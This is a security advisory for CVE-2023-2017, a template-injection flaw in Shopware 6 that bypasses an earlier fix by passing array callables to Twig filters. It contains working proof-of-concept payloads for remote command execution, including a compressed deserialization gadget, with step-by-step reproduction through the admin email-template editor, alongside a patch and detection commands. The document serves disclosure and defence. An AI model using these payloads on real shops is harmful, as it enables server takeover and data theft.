Summary:
Product | Shopware |
---|---|
Vendor | Shopware AG |
Severity | High - Users with login access to Shopware Admin panel may be able to obtain remote code/command execution |
Affected Versions | v6.4.18.1 <= v6.4.20.0, v6.5.0.0-rc1 <= v6.5.0.0-rc4 (Commit facfc88) |
Tested Versions | v6.4.20.0 (Latest stable version), v6.5.0.0-rc3 (Latest pre-release version) |
CVE Identifier | CVE-2023-2017 |
CVE Description | Server-side Template Injection (SSTI) in Shopware 6 (<= v6.4.20.0, v6.5.0.0-rc1 <= v6.5.0.0-rc4), affecting both shopware/core and shopware/platform GitHub repositories, allows remote attackers with access to a Twig environment without the Sandbox extension to bypass the validation checks in Shopware\Core\Framework\Adapter\Twig\SecurityExtension and call any arbitrary PHP function and thus execute arbitrary code/commands via usage of fully-qualified names, supplied as array of strings, when referencing callables. Users are advised to upgrade to v6.4.20.1 to resolve this issue. This is a bypass of CVE-2023-22731. |
CWE Classification(s) | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |
CAPEC Classification(s) | CAPEC-242: Code Injection |
CVSS3.1 Scoring System:
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview:
Shopware is an open source commerce platform based on Symfony Framework and Vue js. The build-in Shopware 6 Storefront is based on Twig and Bootstrap. Users may use extensions (previously referred to as plugins) to implement custom themes for their storefront by overriding the default Twig template files, and then enabling the custom theme extension using the included Shopware 6 Administration panel.
Vulnerability Summary:
Note: This is a bypass of CVE-2023-22731 (tracked as issue NEXT-24667 by Shopware).
There is a bypass for the validation checks enforced by the Shopware\Core\Framework\Adapter\Twig\SecurityExtension
used to prevent execution of arbitrary PHP functions using default filters in Twig, such as map()
, filter()
, reduce()
and sort()
. The SecurityExtension
class introduced in commit 89d1ea1 attempts to address CVE-2023-22731 by overriding the map()
, filter()
, reduce()
and sort()
Twig filters (enabled by default) and ensuring that the callable is within the list of permitted PHP functions to be executed. However, there is a logic flaw whereby validation against the list of permitted functions is only performed if the argument passed to filter is a string. Passing an array as a callable argument allows the validation check to be skipped.
Consequently, this allows a remote attacker with access to a Twig environment to call any arbitrary PHP function and thus execute arbitrary code/commands via usage of fully-qualified names, supplied as arrays of strings, when referencing callables.
Vulnerability Details:
The vulnerability can be found in the SecurityExtension
class declared in src/Core/Framework/Adapter/Twig/SecurityExtension.php
:
...
class SecurityExtension extends AbstractExtension
{
...
/**
* @return TwigFilter[]
*/
public function getFilters(): array
{
return [
new TwigFilter('map', [$this, 'map']),
new TwigFilter('reduce', [$this, 'reduce']),
new TwigFilter('filter', [$this, 'filter']),
new TwigFilter('sort', [$this, 'sort']),
];
}
...
public function map(iterable $array, string|callable|\Closure $function): array
{
if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) { // [1]
throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
}
$result = [];
foreach ($array as $key => $value) {
// @phpstan-ignore-next-line
$result[$key] = $function($value); // [2]
}
return $result;
}
...
public function reduce(iterable $array, string|callable|\Closure $function, mixed $initial = null): mixed
{
if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) { // [3]
throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
}
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
// @phpstan-ignore-next-line
return array_reduce($array, $function, $initial); // [4]
}
...
public function filter(iterable $array, string|callable|\Closure $arrow): iterable
{
if (\is_string($arrow) && !\in_array($arrow, $this->allowedPHPFunctions, true)) { // [5]
throw new \RuntimeException(sprintf('Function "%s" is not allowed', $arrow));
}
if (\is_array($array)) {
// @phpstan-ignore-next-line
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [6]
}
// @phpstan-ignore-next-line
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
...
public function sort(iterable $array, string|callable|\Closure|null $arrow = null): array
{
if (\is_string($arrow) && !\in_array($arrow, $this->allowedPHPFunctions, true)) { // [7]
throw new \RuntimeException(sprintf('Function "%s" is not allowed', $arrow));
}
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
}
if ($arrow !== null) {
// @phpstan-ignore-next-line
uasort($array, $arrow); //[8]
} else {
asort($array);
}
return $array;
}
}
At [1], the $function
parameter contains the argument supplied to the filter. For example, it may refer to "funcname"
in {{ array|filter("funcname") }}
or the closure (a.k.a. arrow function) el => el != 'exclude'
in {{ array|filter(el => el != 'exclude') }}
. Taking a closer look at the condition at [1], it can be observed that non-string arguments passes the validation check.
Notice that the validation check is only invoked if $function
is a string. As such, non-string arguments may be passed to [2] due to the absence of type enforcement at [1]. At [2], variable functions (i.e. $function($value)
) is invoked, thereby allowing arbitrary PHP functions to be executed. Largely identical code pattern can also be observed for the reduce()
filter (at [3] and [4]), filter()
filter (at [5] and [6]) and sort()
filter (at [7] and [8]).
A common mistake that developers make is assuming that the callable
type refers to a string
type. This is untrue, and it is well documented in the PHP Manual:
A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by either, passing the class name instead of an object at index 0, or passing
ClassName::methodName
.
This means that all of the following variable function calls are valid:
// Type 1: Simple callback -- invokes system("id")
$func = "system";
$func("id")
// Type 2: Static class method call -- invokes Class::staticMethod($arg)
$func = $array("Class", "staticMethod");
$func($arg);
// Type 3: Object method call -- invokes $obj->method($arg)
$func = $array($obj, "method"));
$func($arg);
Going back to [1], if $arrow
is an array
instead of a string
or closure
, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Shopware’s codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:
// Gadget 1: Using \Shopware\Core\Framework\Adapter\Cache\CacheValueCompressor::uncompress() to invoke unserialize()
// Serialized payload generated using the phpggc tool: ./phpggc -b Monolog/RCE8 system 'id'
// Compressed payload is generated using:
// $ php -r 'echo gzcompress(shell_exec("php phpggc Monolog/RCE8 system id"));' | hexdump -v -e '"\\\x" 1/1 "%02X"'
{{ ["\x78\x9C\x65\x90\x4D\x4F\xC3\x30\x0C\x86\x77\xE6\x67\xF8\xC8\xA9\x49\x61\x30\xE7\x86\x86\xE0\x50\x34\x09\xAE\x93\xA6\x7E\x78\xC5\x53\xDA\x4C\x49\x3A\xF1\xA1\xFE\x77\x92\x06\x8D\xA2\xDD\xEC\xF7\x8D\x5F\x3F\xCE\x06\xE5\x3D\xC2\x8B\xE9\x8D\x36\xED\xF6\xB9\xEC\x1B\x4D\x76\xFB\x64\xCD\x70\xFC\x6D\x00\x05\x7E\x3B\x14\x02\x61\x71\xBD\x78\x4F\xA2\x03\x55\x46\x9D\x31\x53\x1B\x94\xAB\xCB\x88\x87\x61\xBF\x27\x7B\xCE\x58\x4E\x19\xD9\x3C\x03\x94\xC5\x5C\x05\x35\x9F\xD4\x6A\x1A\x78\xE3\x2F\x02\xC5\x28\xA2\x71\x33\x33\x0A\xEE\xD8\x47\x27\x0B\xCE\x6A\x66\xFC\x23\x11\x77\x7F\x24\x85\x69\x5F\xA9\x36\xB6\x01\x94\x71\xFB\x2D\x82\xA6\x13\x69\x50\x8F\x28\x66\xC4\x45\x14\x71\x4D\xD5\xD0\x82\x9A\x9E\x75\xFC\x41\x4D\xAC\x25\x02\x87\x62\x1C\xCF\x30\xDC\xB3\xE7\x52\x07\xCA\xA0\x57\x09\x33\xF1\x1F\xAD\xA9\xC9\x39\x93\xFE\x26\x4F\x44\xC1\x0D\x79\x2D\xF9\x9D\xA9\x0E\x54\xFB\xDD\xA9\x8C\x7E\xBA\x2F\xCC\x51\xDF\xC4\x4E\x86\x6E\x89\xE0\x3E\x9D\xA7\x2E\xEE\x1B\xC7\xAB\x1F\x89\x25\x7F\x63"] | map(['\\Shopware\\Core\\Framework\\Adapter\\Cache\\CacheValueCompressor', 'uncompress']) | length }}
// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler']) | length }}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) | length }}
// Gadget 3: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke proc_open("id > /tmp/pwned.txt"):
{{ {'/':'id > /tmp/pwned.txt'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | length }}
Exploit Conditions:
This vulnerability can be exploited if the attacker has access to:
- an administrator account, or
- a non-administrative user account with permissions to create/edit Twig templates, such as:
Settings > Email templates
permissionsContent > Themes
permissionsAdditional Permissions > Manage Extensions
permissions
Reproduction Steps:
For simplicity, the following proof-of-concept uses the administrator account to demonstrate how the vulnerability can be exploited using Email templates
.
- Navigate to
http://<shopware_target>/admin#/sw/mail/template/index
and login to an administrator account. - Click the
...
button for the first template (e.g.Cancellation invoice
), and click the Edit button. - Under the
Mail text
section, enter the following payload for theHTML
text area:<!-- Gadget 1: Using \Shopware\Core\Framework\Adapter\Cache\CacheValueCompressor::uncompress() to invoke unserialize() Serialized payload generated using the phpggc tool: ./phpggc -b Monolog/RCE8 system 'id' Compressed payload is generated using: $ php -r 'echo gzcompress(shell_exec("php phpggc Monolog/RCE8 system id"));' | hexdump -v -e '"\\\x" 1/1 "%02X"' --> {{ ["\x78\x9C\x65\x90\x4D\x4F\xC3\x30\x0C\x86\x77\xE6\x67\xF8\xC8\xA9\x49\x61\x30\xE7\x86\x86\xE0\x50\x34\x09\xAE\x93\xA6\x7E\x78\xC5\x53\xDA\x4C\x49\x3A\xF1\xA1\xFE\x77\x92\x06\x8D\xA2\xDD\xEC\xF7\x8D\x5F\x3F\xCE\x06\xE5\x3D\xC2\x8B\xE9\x8D\x36\xED\xF6\xB9\xEC\x1B\x4D\x76\xFB\x64\xCD\x70\xFC\x6D\x00\x05\x7E\x3B\x14\x02\x61\x71\xBD\x78\x4F\xA2\x03\x55\x46\x9D\x31\x53\x1B\x94\xAB\xCB\x88\x87\x61\xBF\x27\x7B\xCE\x58\x4E\x19\xD9\x3C\x03\x94\xC5\x5C\x05\x35\x9F\xD4\x6A\x1A\x78\xE3\x2F\x02\xC5\x28\xA2\x71\x33\x33\x0A\xEE\xD8\x47\x27\x0B\xCE\x6A\x66\xFC\x23\x11\x77\x7F\x24\x85\x69\x5F\xA9\x36\xB6\x01\x94\x71\xFB\x2D\x82\xA6\x13\x69\x50\x8F\x28\x66\xC4\x45\x14\x71\x4D\xD5\xD0\x82\x9A\x9E\x75\xFC\x41\x4D\xAC\x25\x02\x87\x62\x1C\xCF\x30\xDC\xB3\xE7\x52\x07\xCA\xA0\x57\x09\x33\xF1\x1F\xAD\xA9\xC9\x39\x93\xFE\x26\x4F\x44\xC1\x0D\x79\x2D\xF9\x9D\xA9\x0E\x54\xFB\xDD\xA9\x8C\x7E\xBA\x2F\xCC\x51\xDF\xC4\x4E\x86\x6E\x89\xE0\x3E\x9D\xA7\x2E\xEE\x1B\xC7\xAB\x1F\x89\x25\x7F\x63"] | map(['\\Shopware\\Core\\Framework\\Adapter\\Cache\\CacheValueCompressor', 'uncompress']) | length }}
- In the right-sidebar, click the
Show Preview
button. Observe that theid
shell command is executed successfully:
Suggested Mitigations:
Patch the logic flaw in the SecurityExtension
class declared in src/Core/Framework/Adapter/Twig/SecurityExtension.php
to ensure that the parameter passed to the respective filter functions must either be a string
or a Closure
as such:
An sample patch is shown below for the map()
filter:
public function map(iterable $array, string|callable|\Closure $function): array
{
- if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) {
+ if (!($function instanceof \Closure) && (!(\is_string($function) && \in_array($function, $this->allowedPHPFunctions, true))) {
throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
}
$result = [];
foreach ($array as $key => $value) {
// @phpstan-ignore-next-line
$result[$key] = $function($value);
}
return $result;
}
Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
- Searching within Twig cache/compiled Twig template files using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce|sort)\s*\(' --exclude \*url_matching_routes.php /path/to/webroot/var/cache/
- Searching within custom apps/plugins/themes using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce|sort)\s*\(' /path/to/webroot/custom/
Note that it is not possible to detect indicators of compromise reliably using the Shopware log file (located at /path/to/webroot/var/log
by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
Credits:
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline:
- 2023-04-10 Vendor Disclosure
- 2023-04-11 Initial Vendor Contact
- 2023-04-11 Vendor Patch Release
- 2023-04-17 Public Release